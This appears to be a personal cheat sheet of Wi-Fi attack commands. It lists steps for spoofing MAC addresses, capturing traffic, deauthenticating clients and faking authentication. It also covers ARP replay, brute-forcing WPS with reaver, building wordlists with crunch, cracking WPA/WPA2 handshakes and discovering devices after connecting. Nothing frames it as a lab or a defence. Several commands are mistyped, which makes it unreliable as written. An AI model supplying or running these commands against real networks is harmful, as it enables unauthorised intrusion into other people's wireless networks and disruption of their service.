**NETWORK ATTACK (CRACK WIFI)**

Ifconfig

Ifconfig interface hw ether + new mac address

Iwconfig

Airmon-ng check kill

Airoduump-ng interfacename

Airodump-ng –band a,b,g wifiadapterinterfacename // to capture 5G Wifi

Airodump-ng - -bssid + MAC + - -channel + number + - -write filename + ethernetname. // select wireless and save it in a file.

Aireplay-ng - -deauth 100000000 –a target network mac address -c + client mac address –D(for 5G) + wirelessadapter name.

Aircrack-ng filename-01.cap // simple encryption crack

aireplay-ng - -fakeauth 0 -a network mac address -h wireless adapter mac address + wireless adapter name // to associate with the network

aireplay-ng - -arpreplay –b + target network mac address –h wireless adapter mac address + wireless adapter name // to initiate the arp packet and increase or generate the

Wash - - interface + wireless adapter name // display all the network with WPS feature enabled.

Reaver - -bssid + target mac address + --channel + --interface + wireless adapter name -vvv - -no-associate // will crack the WPS enabled wifi.

Crunch [min] [max] alphabet – o file.txt // to create a password list

Aircrack-ng + handshake file saved in airodump-ng + -w + crunch file // will crack the wpa and wpa2 wifi password.

* POST-CONNECTION ATTACKS

INFORMATION GATHERING

Netdiscover –r + IP range // discover all the devices and clients connected to same network.

Macchanger –s <interfacename> // will also show the mac address

Macchanger –r <interfacename> // will change the mac address.

Macchanger –p <interfacename> // to brig back the mac address to the original and permenant